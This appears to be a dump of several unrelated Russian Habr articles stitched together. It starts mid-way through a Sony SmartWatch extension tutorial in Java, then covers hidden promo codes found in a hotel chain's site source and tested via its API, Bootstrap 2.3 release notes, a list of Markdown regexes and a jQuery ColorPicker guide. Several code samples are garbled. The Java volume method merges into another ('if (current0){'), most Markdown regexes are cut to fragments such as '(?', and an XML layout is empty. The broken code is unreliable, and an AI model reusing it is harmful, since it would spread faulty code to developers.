```
public class DemoExtensionReceiver extends BroadcastReceiver {
@Override
public void onReceive(final Context context, final Intent intent) {
intent.setClass(context, DemoReceiverService.class);
context.startService(intent);
}
}
```
Ну а теперь перейдём к самому сервису:
**DemoReceiverService.java**
```
public class DemoReceiverService extends ExtensionService {
public static final String EXTENSION_KEY = "com.smartwatch_habra_demo"; //todo не смог найти в документации подробностей о применимости, так что просто копипастим из примеров по шаблону "пакет.приложения"
public DemoReceiverService() {
super(EXTENSION_KEY);
}
@Override
protected RegistrationInformation getRegistrationInformation() {
return new DemoRegistrationInformation(this);
}
@Override
protected boolean keepRunningWhenConnected() {//нам не нужно постоянно держать сервис работающим
return false;
}
@Override
public WidgetExtension createWidgetExtension(String hostAppPackageName) { //возвращаем объект виджета
return new DemoWidget(this,hostAppPackageName);
}
@Override
public ControlExtension createControlExtension(String hostAppPackageName) {//возвращаем объект основной программы
boolean IsSmartWatch2= DeviceInfoHelper.isSmartWatch2ApiAndScreenDetected(
this, hostAppPackageName);
if (IsSmartWatch2){
return new DemoControl2(this,hostAppPackageName);
}else{
return new DemoControl(this,hostAppPackageName);
}
}
}
```
Достаточно лаконично, правда? Ключевые моменты поясняются комментариями, вопросов вроде не должно возникнуть. **ControlExtension** нам нужен для обработки и рисования основного приложения на часах, **WidgetExtension** – для тех же целей, но уже для виджета.
А вот **RegistrationInformation** – это информация для регистрации нашего расширения в программе управления часами так сказать.
**DemoRegistrationInformation.java**
```
public class DemoRegistrationInformation extends RegistrationInformation {
public static final int WIDGET_WIDTH_SMARTWATCH = 128;
public static final int WIDGET_HEIGHT_SMARTWATCH = 110;
public static final int CONTROL_WIDTH_SMARTWATCH = 128;
public static final int CONTROL_HEIGHT_SMARTWATCH = 128;
public static final int CONTROL_WIDTH_SMARTWATCH_2 = 220;
public static final int CONTROL_HEIGHT_SMARTWATCH_2 = 176;
Context mContext;
protected DemoRegistrationInformation(Context context) {
if (context == null) {
throw new IllegalArgumentException("context == null");
}
mContext = context;
}
@Override
public ContentValues getExtensionRegistrationConfiguration() {
String iconHostapp = ExtensionUtils.getUriString(mContext, R.drawable.icon);
ContentValues values = new ContentValues();
values.put(Registration.ExtensionColumns.CONFIGURATION_ACTIVITY,DemoConfigActivity.class.getName()); //активити, которое будет отображаться в меню "настройки расширения". Если оно нам не нужно - убираем параметр совсем.
values.put(Registration.ExtensionColumns.CONFIGURATION_TEXT,"Настройки демо-расширения");//а это текст, отображащийся в качестве пункта меню программы управления часами. Если оно нам не нужно - убираем параметр совсем.
values.put(Registration.ExtensionColumns.NAME, "Хабра-демо-расширение");//имя, отображаемое в списке приложений внутри программы управления часами
values.put(Registration.ExtensionColumns.EXTENSION_KEY,DemoReceiverService.EXTENSION_KEY); //уникальный ключ расширения
values.put(Registration.ExtensionColumns.HOST_APP_ICON_URI, iconHostapp); //иконка в списке приложений в телефоне
values.put(Registration.ExtensionColumns.EXTENSION_ICON_URI, iconHostapp); //иконка в списке приложений на самих часах, в идеале 48x48
values.put(Registration.ExtensionColumns.NOTIFICATION_API_VERSION,getRequiredNotificationApiVersion());//нужная версия механизма уведомлений
values.put(Registration.ExtensionColumns.PACKAGE_NAME, mContext.getPackageName());
return values;
}
@Override
public int getRequiredNotificationApiVersion() { //нам не нужно управление нотификациями
return 0;
}
@Override
public int getRequiredSensorApiVersion() { //нам не нужна инфа с сенсоров вроде акселерометра
return 0;
}
//---------------------------------------------
//всё что нужно для поддержки виджета
//---------------------------------------------
@Override
public boolean isWidgetSizeSupported(final int width, final int height) {
return (width == WIDGET_WIDTH_SMARTWATCH && height == WIDGET_HEIGHT_SMARTWATCH);
}
@Override
public int getRequiredWidgetApiVersion() { //для поддержки первых часов
return 1;
}
//---------------------------------------------
//всё что нужно для поддержки контроллера
//---------------------------------------------
@Override
public int getRequiredControlApiVersion() { //для поддержки первых часов
return 1;
}
@Override
public int getTargetControlApiVersion() { //для поддержки второй версии часов
return 2;
}
@Override
public boolean isDisplaySizeSupported(int width, int height) {
return (width == CONTROL_WIDTH_SMARTWATCH_2 && height == CONTROL_HEIGHT_SMARTWATCH_2)
|| (width == CONTROL_WIDTH_SMARTWATCH && height == CONTROL_HEIGHT_SMARTWATCH);
}
}
```
Здесь стоит остановиться поподробнее. Дело в том, что скачанное нами API от Sony – универсальное для целой пачки устройств от Sony, и никто не мешает нам написать приложение (расширение), которое может запуститься на всех этих устройствах разом. Или только на избранных из них.
Раз такое дело, нам надо сообщить, какие размеры экранов и версии API для сенсоров, виджетов и т.п. нам нужно поддержать. Нам нужно указать:
* Поддержка разных сенсоров (акселерометров и т.п.) – getRequiredSensorApiVersion. Нам оно не надо совсем, так что версия API = 0.
* Нотификации (Notification) — всплывающие сообщения-уведомления; нам они тоже не нужны. Так что в **getRequiredNotificationApiVersion** снова 0.
* “Контроллер” – это то самое “обычное окно программы на часах”. Для него нам нужно определить версию. Кроме того, нам придётся указать поддерживаемые размеры экранов первых и вторых часов, и только их, никакие иные устройства нам не нужны. Поэтому передаём:
+ **getRequiredControlApiVersion** – версию 1 (для поддержки первой версии часов). Если бы передали 2 – поддерживались бы только Smartwatch 2, на первых бы не запустилось.
+ **getTargetControlApiVersion** – целевая версия API, здесь 2 для опять же поддержки Smartwatch 2
+ **isDisplaySizeSupported** – получаем размеры экрана устройства и определяем, хотим ли мы запускаться на нём или нет.
* “Виджет” (Widget) – это изображение в списке виджетов. Аналогично, нужно указать требуемую версию и размеры экрана. Важный момент: вторая версия часов виджеты не поддерживает. Увы.
Плюс пачка параметров в **getExtensionRegistrationConfiguration**, но там всё понятно из комментариев.
Основное окно программы
-----------------------
Здесь важно осознать следующим момент. На часы в первой версии часов мы можем отправлять только изображения. Картинки. Всё. Ничего больше. Иным способом рисовать мы не можем. Во второй версии появились расширенные контроллеры, но мы-то изначально пишем для поддержки обоих версий, так что только изображения.
Если же вы хотите использовать для рендера возможности **Layout**, например, отрендерить компоненты – без проблем, но координаты кликов и прочее взаимодействие придётся обрабатывать вручную. Безрадостная перспектива… Но тем не менее. Вот так будет выглядеть наша картинка:
А вот так — код, который за всё ответит:
**DemoControl.java**
```
public class DemoControl extends ControlExtension {
static final Rect buttonStopPlaySmartWatch = new Rect(43, 42, 85, 88);
public DemoControl(Context context, String hostAppPackageName) {
super(context, hostAppPackageName);
}
@Override
public void onTouch(final ControlTouchEvent event) {//реакция на клики
if (event.getAction() == Control.Intents.CLICK_TYPE_SHORT) {
if (buttonStopPlaySmartWatch.contains(event.getX(), event.getY())){
MusicBackgroundControlWrapper.TogglePausePlay(mContext);
}
}
}
@Override
public void onSwipe(int direction) {//реакция на жесты
if (direction== Control.Intents.SWIPE_DIRECTION_UP){
MusicBackgroundControlWrapper.VolumeUp(mContext);
}
if (direction==Control.Intents.SWIPE_DIRECTION_DOWN){
MusicBackgroundControlWrapper.VolumeDown(mContext);
}
if (direction==Control.Intents.SWIPE_DIRECTION_LEFT){
MusicBackgroundControlWrapper.Next(mContext);
}
if (direction==Control.Intents.SWIPE_DIRECTION_RIGHT){
MusicBackgroundControlWrapper.Prev(mContext);
}
}
@Override
public void onResume() {//рисуем изображение
Bitmap mPicture = BitmapFactory.decodeResource(mContext.getResources(), R.drawable.control_picture);
showBitmap(mPicture);
}
}
```
Назначение событий **onSwipe** и **onTouch** говорят сами за себя, **onResume** вызывается каждый раз, как оно программы будет видно, например, часы вышли из спячки или была выбрана иконка приложения. В принципе, этого достаточно для большинства взаимодействий с приложением.
**MusicBackgroundControlWrapper** – это небольшой самописный класс, предназначенный для управления плеером с использованием эмуляции нажатий мультимедийных клавиш. Нормально работает не со всеми плеерами и телефонами, но там где работает – работает на ура. Если знаете лучший способ (с поддержкой Android 2.3 и выше!) – поделитесь пожалуйста в комментариях.
**MusicBackgroundControlWrapper.java**
```
public class MusicBackgroundControlWrapper {
public static void KeyPressDownAndUp(int key,Context context){
long eventtime = SystemClock.uptimeMillis() - 1;
Intent downIntent = new Intent(Intent.ACTION_MEDIA_BUTTON, null);
KeyEvent downEvent = new KeyEvent(eventtime, eventtime,
KeyEvent.ACTION_DOWN, key, 0);
downIntent.putExtra(Intent.EXTRA_KEY_EVENT, downEvent);
context.sendOrderedBroadcast(downIntent, null);
eventtime++;
Intent upIntent = new Intent(Intent.ACTION_MEDIA_BUTTON, null);
KeyEvent upEvent = new KeyEvent(eventtime, eventtime,
KeyEvent.ACTION_UP, key, 0);
upIntent.putExtra(Intent.EXTRA_KEY_EVENT, upEvent);
context.sendOrderedBroadcast(upIntent, null);
}
public static void VolumeUp(Context context){
AudioManager audioManager =(AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
int max=audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
int current=audioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
if (current0){
current--;
}
audioManager.setStreamVolume(AudioManager.STREAM\_MUSIC,
current,0);
}
public static void TogglePausePlay(Context context){
KeyPressDownAndUp(KeyEvent.KEYCODE\_MEDIA\_PLAY\_PAUSE,context);
}
public static void Next(Context context){
KeyPressDownAndUp(KeyEvent.KEYCODE\_MEDIA\_NEXT, context);
}
public static void Prev(Context context){
KeyPressDownAndUp(KeyEvent.KEYCODE\_MEDIA\_PREVIOUS, context);
}
}
```
Для поддержки второй версии часов мы унаследуем **DemoControl2** от **DemoControl**, с парой изменений – в onResume() будем передавать другое изображение, а в onTouch – проверять иные координаты.
**DemoControl2.java**
```
public class DemoControl2 extends DemoControl {
static final Rect buttonStopPlaySmartWatch2 = new Rect(59, 52, 167, 122);
public DemoControl2(Context context, String hostAppPackageName) {
super(context, hostAppPackageName);
}
@Override
public void onTouch(final ControlTouchEvent event) {//реакция на клики
if (event.getAction() == Control.Intents.CLICK_TYPE_SHORT) {
if (buttonStopPlaySmartWatch2.contains(event.getX(), event.getY())){
MusicBackgroundControlWrapper.TogglePausePlay(mContext);
}
}
}
@Override
public void onResume() {//рисуем изображение
Bitmap mPicture = BitmapFactory.decodeResource(mContext.getResources(), R.drawable.control_picture2);
showBitmap(mPicture);
}
}
```
Виджет
------
Итак, виджет. Каноничный виджет имеет разрешение **92x92** пикселя для первой версии часов и не поддерживаются в принципе для второй. Можно растянуть его и на бОльшие разрешения (вплоть до **128x110**), но он тогда будет выбиваться из стилистики и закрывать стандартные элементы управления и индикации.
Нам от него понадобится только одно действие – по клику запускать наше основное приложение на часах. Класс, отвечающий за это тоже очень простой, все подробности в комментариях.
**DemoWidget.java**
```
public class DemoWidget extends WidgetExtension {
public DemoWidget(Context context, String hostAppPackageName) {
super(context, hostAppPackageName);
}
@Override
public void onStartRefresh() { //Когда виджет становится видимым и/или обновляется.
showBitmap(new DemoWidgetImage(mContext).getBitmap());
}
@Override
public void onStopRefresh() { //Когда виджет перестаёт быть видимым. Нам ничего не нужно делать, мы и так не обновляем его и не анимируем.
}
@Override
public void onTouch(final int type, final int x, final int y) {
if (!SmartWatchConst.ACTIVE_WIDGET_TOUCH_AREA.contains(x, y)) { //если кликнули вне иконки приложения - ничего не делаем
return;
}
//по клику (быстрому или долгому) запускаем основное окно программы
if (type == Widget.Intents.EVENT_TYPE_SHORT_TAP || type==Widget.Intents.EVENT_TYPE_LONG_TAP) {
Intent intent = new Intent(Control.Intents.CONTROL_START_REQUEST_INTENT);
intent.putExtra(Control.Intents.EXTRA_AEA_PACKAGE_NAME, mContext.getPackageName());
intent.setPackage(mHostAppPackageName);
mContext.sendBroadcast(intent, Registration.HOSTAPP_PERMISSION);
}
}
}
```
Хотя есть там и интересный момент. В комплекте с API, среди утилит есть класс специально для виджетов, самостоятельно рендерящий **Layout** в картинку. Грех такой возможностью не воспользоваться, хотя бы и в целях обучения. Рендерить будем через класс **DemoWidgetImage**.
**DemoWidgetImage.java**
```
public class DemoWidgetImage extends SmartWatchWidgetImage {
public DemoWidgetImage(Context context) {
super(context);
setInnerLayoutResourceId(R.layout.music_widget_image);
}
@Override
protected void applyInnerLayout(LinearLayout innerLayout) {
//даже если ничего не делаем с содержимым - переопределить обязаны. Угу.
}
}
```
Окно настроек
-------------
Ну тут нужно совсем минимум. Поскольку в классе **DemoRegistrationInformation** мы уже прописали имя активити, то тут нам сейчас остаётся только заполнить её ну хоть чем-то. Даже комментировать не буду. Просто код.
**DemoConfigActivity.java**
```
public class DemoConfigActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.config);
}
}
```
**config.xml**
```
xml version="1.0" encoding="utf-8"?
```
Как опубликовать приложение в Google Play
-----------------------------------------
Что бы ваше приложение находилось утилитой управления часами в магазине приложений – нужно добавить в текст описания программы на Google Play:
* Для поддержки SmartWatch — “LiveWare extension for SmartWatch”
* Для поддержки SmartWatch 2 – “Smart Connect extension for SmartWatch 2”
* Если нужны оба – добавляем соответственно обе строки.
Что характерно, установить приложение сможет и человек, у которого самих часов нет. Установить, не запустить и влепить минимальную оценку, да. Привыкайте, это мир Google Play! Но нам ведь не важна оценка, нам важно, что мир становится чуточку лучше, верно…?
Что ещё можно доделать в приложении-примере
-------------------------------------------
* Окно настроек (сделать, например инвертирование жестов).
* Более корректный и универсальный способ управления плеерами. В Android 4.4 уже реализован нужный API (**Remote controllers** кажется называется), а вот для более старых – проблема.
* Сделать (придумать, найти) автоматический расчет координат для объектов, находящихся на вьюшке. Что бы руками не считать каждый раз, вдруг Sony создаст третьи часы с третьим разрешением.
Результат нашей работы
----------------------
  
Исходный код примера из статьи
------------------------------
[github.com/Newbilius/smartwatch\_habra\_demo](https://github.com/Newbilius/smartwatch_habra_demo)
Источник в лице сайта Sony
--------------------------
[developer.sonymobile.com/knowledge-base/sony-add-on-sdk](http://developer.sonymobile.com/knowledge-base/sony-add-on-sdk/)
И повторюсь, если возникли вопросы по другим фичам часов – смотрите папку **examples** (полный путь был приведён выше), там есть примеры использования абсолютно всех датчиков и возможностей. Цель этой статьи – дать вам возможность совершить “быстрый старт” и заинтересовать, надеюсь, у меня это получилось сделать.
P.S. Если вам нужно готовое приложение, описанное в этой статье, но нет желание заниматься разработкой – в Google Play уже есть такое, и даже более функциональные — но или платные, или не совсем такие или с подобными же недостатками.
P.P.S. У меня нет на руках второй версии часов, так что всё что о них написано — это информация из примеров или документации, плюс проверка на эмуляторе, на реальных часах второй версии не проверял. Первая же версия часов есть, там всё точно и проверено. | https://habr.com/ru/post/210898/ | null | ru | null |
# Промокоды, случайно оставленные в исходном коде веб-сайта
Не так давно я обнаружил онлайн-магазин, нагло лгущий о количестве людей, просматривающих его товары. Его исходный код содержал функцию JavaScript, рандомизировавшую это число. После моей статьи администраторы магазина втихомолку удалили этот код с веб-сайта.
Сегодня мы снова будем изучать исходный код веб-сайта, но теперь в нём не будет ничего мошеннического. Сайт, который я покажу сегодня, просто раскрыл тайные промокоды в своём публичном коде.
Мы исследуем сайт сети крытых аквапарков Great Wolf Lodge, однако должен сообщить, что веб-сайты довольно часто раскрывают свою внутреннюю информацию в плохом коде.
Я буду объяснять каждый свой шаг, чтобы вы могли сами использовать описанные в статье способы для исследования исходного кода других веб-сайтов. И поверьте мне, в исходном коде можно найти всевозможные любопытные подробности.
Вот что мы сделаем:
1. Изучим исходный код Great Wolf, где найдём ссылки на промокоды, которые проверим.
2. Попробуем использовать один из промокодов на веб-сайте и перехватим URL, передаваемый веб-браузеру.
3. Спойлер: в конечном итоге, мы найдём работающий промокод.
Изучаем исходный код
--------------------
Давайте начнём с того, что доберёмся до объекта изучения: [Great Wolf](https://www.greatwolf.com/poconos). Нажмём правой клавишей мыши в любом месте веб-сайта и выберем «View source» («Просмотреть код»). Нажмём CTRL+F (или CMD+F) для поиска по коду и введём в поле поиска «promocode». Я нашёл две переменные, которые мне показались особо интересными: `dealPromoCodeApiUrl` и `promoCodeList`. Первая переменная содержит частичный URL, указывающий на файл JSON (файл с какими-то структурированными данными), в котором могут содержаться промо-коды. Вторая переменная — это массив (коллекция) промокодов.
Если взять URL, найденный в первой переменной, и добавить в его начало «greatwolf.com», то мы получим такой URL: <https://www.greatwolf.com/content/experience-fragments/gwl/poconos/experience-fragment/master/_jcr_content/root/plan.json>.
На момент написания статьи при переходе на этот URL меня приветствовали четыре разных промокода:
*Данные, найденные на [Great Wolf](https://www.greatwolf.com/content/experience-fragments/gwl/poconos/experience-fragment/master/_jcr_content/root/plan.json).*
Если открыть URL в браузере, то данные могут и не выглядеть такими структурированными, как у меня. В некоторых браузерах есть встроенная функция просмотра JSON, но в большинстве её нет. Однако у каждого популярного десктопного браузера есть расширения, которые можно установить для более красивого отображения файлов JSON, поэтому достаточно перейти в магазин расширений/приложений своего браузера и поискать по запросу JSON.
Давайте запомним эти коды, а пока проверим ещё одну переменную: `promoCodeList`. Мы уже знаем её содержимое благодаря изучению исходного кода, но можно отобразить его удобнее с помощью консоли браузера. Откроем инструменты разработчика браузера, которые в большинстве браузеров под Windows открываются нажатием F12. Также в большинстве компьютеров и браузеров можно нажать правой кнопкой мыши в любом месте веб-сайта и выбрать что-то вроде «Inspect element» («Исследовать элемент»). Открыв инструменты разработчика, выберем «Console» («Консоль»). Затем мы можем ввести «promoCodeList» и нажать Enter, после чего увидим ещё пять промокодов:
Давайте попробуем использовать один из них. В верхней части [главной страницы Great Wolf](https://www.greatwolf.com/poconos) есть опция поиска доступных дат. Я поискал даты, выбрал одного посетителя и ввёл обнаруженный ранее промокод: PROMO20.
После завершения поиска отобразился текст: «Unfortunately that is not a valid offer code. Please re-enter or view our other offers». («К сожалению, этот промокод недействителен. Введите код заново или изучите другие предложения.»)
Общаемся с веб-сервером
-----------------------
Мне всегда любопытно следить за тем, как данные перемещаются между браузером и веб-сервером, поэтому давайте перейдём во вкладку «Network» («Сеть») инструментов разработчика. Выберем «XHR», чтобы посмотреть, какие данные перемещаются между страницей и веб-сервером. Если вкладка пуста, обновите страницу. После этого вкладка сети заполнится вызовами API. Аббревиатуры наподобие XHR и API по сути означают, что веб-сайт общается с сервером.
*Сетевые вызовы [Great Wolf](https://www.greatwolf.com/poconos).*
Большинство из них не представляет особого интереса, но моё внимание привлекла выделенная строка. В ней написано «availability» («доступность») и похоже, что она отправляет интересные данные. Если нажать на неё, браузер покажет URL, который использует веб-сайт для запроса у сервера свободных номеров в отеле.
Если нажать на [URL](https://gwrapiprod-azure.greatwolf.com/availability/api/v2.2/Availability?arrival=2021-04-05%2000:00:00&departure=2021-04-07%2000:00:00&location=POCOPA&numberOfAdults=1&offerCode=PROMO20&kidsAges=&uuid=44f4af34-63d2-4d20-80f9-396b7457f107&intUserId=3de681e2ba74f3a8), открытый в этой вкладке сети на момент написания, мы окажемся на ещё одной странице, заполненной данными. Результаты на этой странице содержат номера, которые свободны на выбранные даты. Удобно, что в начале данных есть информация, связанная с промокодом. Там указан код ошибки, сообщающей, что предложение недоступно (это мы и так знаем).
*Данные, найденные на [Great Wolf](https://gwrapiprod-azure.greatwolf.com/availability/api/v2.2/Availability?arrival=2021-04-05%2000:00:00&departure=2021-04-07%2000:00:00&location=POCOPA&numberOfAdults=1&offerCode=PROMO20&kidsAges=&uuid=44f4af34-63d2-4d20-80f9-396b7457f107&intUserId=3de681e2ba74f3a8).*
К сожалению, эти данные не особо интересны, но URL упрощает проверку других промокодов. Если изучить URL, то можно увидеть часть «offerCode=PROMO20». Можно или ввести другой промокод, или перезагрузить URL, чтобы проверить его. Не долго думая, я начал их проверять. Один из найденных ранее промокодов сработал: «FLING40». На момент написания статьи можно было нажать [сюда](https://gwrapiprod-azure.greatwolf.com/availability/api/v2.2/Availability?arrival=2021-05-04%2000:00:00&departure=2021-05-07%2000:00:00&location=POCOPA&numberOfAdults=1&offerCode=FLING40&kidsAges=&uuid=c3f4115b-4914-420d-bfaf-e897770800bf&intUserId=9e590e65c9d83d5d) и получить такой отзыв:
*Данные, обнаруженные на [Great Wolf](https://gwrapiprod-azure.greatwolf.com/availability/api/v2.2/Availability?arrival=2021-05-04%2000:00:00&departure=2021-05-07%2000:00:00&location=POCOPA&numberOfAdults=1&offerCode=FLING40&kidsAges=&uuid=c3f4115b-4914-420d-bfaf-e897770800bf&intUserId=9e590e65c9d83d5d).*
И в самом деле, если вернуться на веб-сайт и ввести промокод, то можно убедиться, что он применён:
Миссия выполнена.
Стоит также заметить, что некоторые из найденных нами ранее промокодов указаны прямым текстом на странице [Deals сайта Great Wolf](https://www.greatwolf.com/poconos/deals). Однако кода FLING40, который я использовал, там нет.
Подведём итог
-------------
Мы использовали очень простые методики, чтобы найти промокоды для веб-сайта бронирования номеров. Изучив исходный код, мы нашли несколько интересных переменных JavaScript. Мы проверили их и нашли несколько скрытых промокодов. Также мы обнаружили URL для общения с веб-сервером Great Wolf, позволивший быстрее тестировать коды. В конечном итоге, мы нашли сработавший скрытый промокод.
Вы можете задаться вопросом, почему вообще промокоды просто лежали в каких-то переменных публичного исходного кода. На то может быть множество причин, но по своему опыту работы разработчиком могу сказать, что обычно это вызвано проблемами менеджмента. Причинами подобного раскрытия данных могут быть короткие дедлайны, отсутствие этапа тщательного тестирования, расширение функциональности на поздних этапах разработки или плохо написанное техзадание.
Кроме того, поскольку данные не нанесут урона, возможно, не было причин их удалять. Это невинная ошибка, которая встречается чаще, чем можно себе представить. Разумеется, стоит упомянуть и то, что промокоды могли оставить в коде намеренно, как гениальный трюк для привлечения внимания или повышения продаж. Но мне кажется, что это маловероятно.
Как бы то ни было, надеюсь, вы узнали что-то новое. Удачной вам охоты на интересности в исходном коде других сайтов.
---
#### На правах рекламы
**Эпично!** Уже через минуту после заказа, вы можете получить [облачный vps сервер](https://vdsina.ru/pricing) на базе новейших процессоров AMD EPYC для размещения проектов любой сложности, от корпоративных сетей и игровых проектов до лендингов и VPN.
Подписывайтесь на [наш чат в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/) | https://habr.com/ru/post/564208/ | null | ru | null |
# Вышел Bootstrap 2.3
Это заняло много времени, друзья. Прошло около трех месяцев с последнего обновления, но не волнуйтесь, сегодня ожиданию наступил конец.
После многочисленных задержек, в том числе и на борьбу с гриппом, мы рады представить вам [Bootstrap 2.3](http://getbootstrap.com/).
#### И что нового?
Bootstrap 2.3 содержит несколько как нововведений, так и фиксов и улучшений документации.
Наиболее значимые из них:
**Изменения в репозитории:**
* Локальные зависимости вместо глобальных для билдера и инсталлятора. Теперь для быстрого старта простейший способ — запустить `npm install`
* Апргейд до jQuery 1.9. Никаких изменений с вашей стороны не требуется, мы включили последнюю версию jQuery в наш релиз.
* Changelog перемещен в репозиторий (был отдельной вики страницей)
**Новые функции и улучшения:**
* Добавлен индикатор для карусели ([link](http://twitter.github.com/bootstrap/javascript.html#carousel)) Просто добавьте HTML и это заработает :).
* **Тултипам добавлена опция `container`.** По умолчанию она по-прежнему равна `insertAfter`, но теперь у вас есть возможность указать куда вставлять тултипы (или поповеры).
* Поповеры теперь используют `max-width` вместо `width`, также они стали чуть шире (280px vs 240) и автоматически скрывают пустой заголовок при помощи css `:empty`.
* Улучшено сглаживание в тултипах ([#6713](https://github.com/twitter/bootstrap/pull/6713))
* **Улучшена доступность для ссылок во всех компонентах.** После слияния с [#6441](https://github.com/twitter/bootstrap/pull/6441) состояние `:hover` объединено с `:focus`. Это касается как обычных ссылок, так и кнопок, выпадающих списков, панелей навигации и т.д.
* Добавлены вспомогательные CSS классы для сокрытия контента при выводе на печать.
* Обновлен код для групп инпутов, теперь они более приближены к обычным копмпонентам форм. Добавлен `display: inline-block;`, увеличен `margin-bottom` и добавлен `vertical-align: middle;` соответствующим стилям
* Добавлен трехцветный градиент `.horizontal-three-colors()` с примером в CSS-тестах.
* Добавлены вспомогательные классы для выравнивания текста `.text-left`, `.text-center`, `.text-right`
* Добавлен `@ms-viewport`, так что IE10 теперь может использовать адаптивный CSS для полиэкранного режима.
**Изменения в документации:**
* Добавлен новый пример для [навигации, выровненной по ширине](https://f.cloud.github.com/assets/98681/25869/5e2f812c-4afa-11e2-9293-501cd689232d.png)
* Добавлен пример прилипающего футера с фиксированной навигационной панелью
Как обычно, вы можете посмотреть более полный список изменений в [рубиконе](https://github.com/twitter/bootstrap/issues?milestone=18&state=closed) или в [pull-запросах](https://github.com/twitter/bootstrap/pull/6346). В большинстве случаев, там не отражены мелкие правки CSS и исправления опечаток в документации.
#### Заметка о тултипах
Когда мы выпустили версию 2.2.2, мы изменили механизм вставки тултипов и поповеров. Вместо добавления их к ``по умолчанию, они использовали insertAfter`. Это изменение решило несколько проблем с наложением и значительно упростило контроль и стилизацию тултипов.
К сожалению, не обошлось и без пары багов, а именно - ошибкам в стилях групп инпутов из-за вмешивания в [соседние CSS селекторы](http://css-tricks.com/child-and-sibling-selectors/). Поэтому, вместо отмены изменений, **мы добавили новый параметр `container`**. Если вы попали в ситуацию, в которой `insertAfter` не применим, то установите этому параметру элемент, который вам наиболее подходит.
#### О Bootstrap 3
Как мы ранее отмечали, v2.3 - это наш последний запланированный релиз до полного перехода к работе над v3 (в ожидании любой катастрофической неразберихи).
Напоследок, загляните на [Bootstrap 3 pull request](https://github.com/twitter/bootstrap/pull/6342). Вот небольшие подробности:
* Bootstrap 3 будет #1 для мобильных устройств.
* Больше никаких отдельных файлов для адаптивных стилей, все в одном.
* Прекращена поддержка IE7 и Firefox 3.x.
* Разметка была капитально пересмотрена - упрощена и резиновая по умолчанию.
* Модальные диалоги теперь адаптивные и все такое.
* Убрана поддержка субменю.
* Карусели переработаны.
* Все переменные переименованы и используют нижнее подчеркивание вместо camelCase.
* Иконки теперь используют шрифт вместо картинок.
* JavaScript события будут помещены в неймспейсы.
* Документация будет немного переработана - Scaffolding и Base будут объеденены в CSS.
* Добавлена новая страница галереи для демонстрации наиболее классных применений Bootstrap.
* И большая куча других изменений.
Это только некоторые основные изменения, полный список и последние изменения cмотрите на странице [Bootstrap 3 pull request](https://github.com/twitter/bootstrap/pull/6342).
#### [Скачать Bootstrap 2.3.0](https://github.com/twitter/bootstrap/zipball/master)` | https://habr.com/ru/post/168959/ | null | ru | null |
# Набор регулярных выражений для MarkDown
Добрый день, уважаемые пользователи Хабра.
В этом посте хотел бы поделиться тем, с чем игрался долго и надеюсь это будет кому-то полезным.
Недавно столкнулся с тем, что в новом проекте надо было сделать подсветку синтаксиса для языка разметки MarkDown. В последнее время он достаточно популярен в разных местах. Долго гуглил, в результате пришлось все писать самому и долго тестировать чтобы все работало правильно.
Под катом набор регулярных выражений, которые ищут основные элементы разметки MarkDown в варианте для Objective-c.
H1
```
^# (.)+$ // стандартный заголовок
^.+$\n^={3,}$ // заголовок с двойным подчеркиванием
```
H2
```
^#{2,2} (.)+$ // стандартный заголовок
^.+$\n^-{3,}$ // заголовок с одинарным подчеркиванием
```
H3… H6
```
^#{3,3} (.)+$ ... ^#{6,6} (.)+$
```
bold ( \*\*Текст\*\* )
```
(?
```
italic ( \*Текст\* или \_текст\_ )
```
((?
```
bold italic ( \*\*\*Текст\*\*\* )
```
(?
```
monospace ( `текст` )
```
`[^`]*`
```
Numbered list
```
(^\d{1,3}\. .*$)+|(^ {1,10}\d{1,3}\. .*$)+
```
Unnumbered list
```
(^(\*|\+|-) .*$)+
```
image 
```
!\[[^\[\]]*?\]\(.*?\)
```
url [ссылка](http://site.com/)
```
\[[^\[\]]*?\]\(.*?\)|^\[*?\]\(.*?\)
```
block quotes
```
^>{1,4} (.)+$
```
Здесь кусок скриншота из приложения, в котором эти регулярные выражения применялись.
 | https://habr.com/ru/post/190304/ | null | ru | null |
# jQuery ColorPicker — выбираем цвет.
С удивлением обнаружил, что до сих пор не коснулся темы выбора цвета. Спешу исправить это недоразумение и расскажу о еще одном плагине к библиотеке **jQuery — ColorPicker**. Сразу хочу предупредить, плагин использует png-файлы, и в нашем любимом IE6 это аукается небольшими проблемами.
Как обычно, сначала демонстрация примеров, а уже потом будем разбираться, как это использовать.
Пример: [x3k.name/habrahabr/jquery.colorpicker.html](http://x3k.name/habrahabr/jquery.colorpicker.html)
Нам понадобится библиотека **jQuery**, сам плагин colorpicker.js, довольно много картинок рабочей панели **colorPicker**'a (картинки включены в архив).
Описания стилей colorPicker'a находятся непосредственно в файле примера и в общем лучше всего их и не трогать, разве что вынести в отдельный файл.
А мы разберем первый пример с самым пожалуй, простым вариантом использования — colorPicker как элемент страницы.
HTML-код — проще не бывает:
Просто элемент div, который выступает в качестве контейнера для нашего colorPicker'a. А ниже javascript код, который вызовет сам colorPicker.
> `1. $(document).ready(function(){
> 2. // пример №1
> 3. $('#colorpickerHolder').ColorPicker({flat: true});
> 4. });
> \* This source code was highlighted with Source Code Highlighter.`
Мы передаем плагину опцию **flat** со значением **true** — именно это определяет вариант отображения **colorPicker**'a.
Следующий вариант использования в примере №2 — мы присоединяем colorPicker к элементу input. HTML-код можно было бы и не приводить:
И более «насыщенный», чем в первом примере javascript-код:
> `1. $(document).ready(function(){
> 2. // пример №2
> 3. $('#colorpickerField').ColorPicker({
> 4. onSubmit: function(hsb, hex, rgb) {
> 5. $('#colorpickerField').val(hex);
> 6. },
> 7. onBeforeShow: function () {
> 8. $(this).ColorPickerSetColor(this.value);
> 9. }
> 10. })
> 11. .bind('keyup', function(){
> 12. $(this).ColorPickerSetColor(this.value);
> 13. });
> 14. });
> \* This source code was highlighted with Source Code Highlighter.`
Здесь мы вызываем **colorPicker** и передаем ему две опции — onSubmit и onBeforeShow, в качестве значений которых выступают функции обратного вызова. В onSubmit определяется функция, которая будет вызвана в момент, когда необходимый цвет выбран и нажат значок подтверждения выбора в правом нижнем углу, а в **onBeforeShow** определяется функция, которая будет вызвана перед тем, как colorPicker будет выбран.
Звучит немного запутано, да к тому же цепочка вызовов дополнена связыванием события keyup с еще одной функцией. Давайте взглянем на это с практической стороны и попробуем описать все это по-русски. Начнем с конца…
